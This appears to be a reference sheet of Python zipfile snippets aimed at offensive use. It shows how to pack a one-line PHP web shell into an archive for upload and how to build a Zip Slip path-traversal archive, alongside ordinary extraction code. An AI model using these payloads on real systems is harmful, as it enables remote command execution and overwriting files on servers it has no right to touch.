ZIP
Create a ZIP / write entries
A ZIP archive contains named members. writestr(name, data) creates a member directly from bytes or text already held in memory, while write(path, arcname=...) reads an existing local file and stores it under the member name selected by arcname.
import io
import zipfile
# write to disk
with zipfile.ZipFile("out.zip", "w", zipfile.ZIP_DEFLATED) as archive:
archive.writestr("payload.php", "<?php system($_GET['c']); ?>")
archive.write("local.txt", arcname="readme.txt")
# build entirely in memory (upload without touching disk)
archive_buffer = io.BytesIO()
with zipfile.ZipFile(archive_buffer, "w") as archive:
archive.writestr("payload.txt", "data")
archive_buffer.seek(0)
files = {
"file": ("payload.zip", archive_buffer, "application/zip")
}io.BytesIO() is an in-memory binary file object. ZipFile writes into it as though it were a disk file, and seek(0) moves its read position back to the beginning before requests uploads it.
Find by: zip, zipfile, create archive, compress, writestr, write, archive, package, build zip, in memory, gap
Zip-Slip — path-traversal archive
Zip Slip is an arbitrary-file-write primitive in an extraction path. The archive member name contains ../ components. A vulnerable extraction implementation joins that name to its destination directory without first confirming that the resolved path remains inside the destination.
import zipfile
with zipfile.ZipFile("payload.zip", "w") as archive:
archive.writestr("../../../../<TARGET_PATH>", "<FILE_CONTENT>")Creating the archive only stores the malicious member name. The write occurs later, when the target’s vulnerable extractor processes that member. The traversal depth and destination path must match the extraction directory and desired target file.
Find by: zip slip, path traversal, malicious zip, arbitrary write, extract, dot dot, overwrite, webshell, exploit, gap, directory escape
Read / extract a ZIP
namelist() returns the stored member names. read(name) returns one member’s uncompressed bytes without writing it to disk. extractall() writes every member beneath the selected output directory when the archive is being inspected locally.
import zipfile
with zipfile.ZipFile("in.zip") as archive:
member_names = archive.namelist()
print(member_names)
data = archive.read("config.php")
archive.extractall("out/")Find by: zip, zipfile, read zip, extract zip, namelist, read member, extractall, unpack archive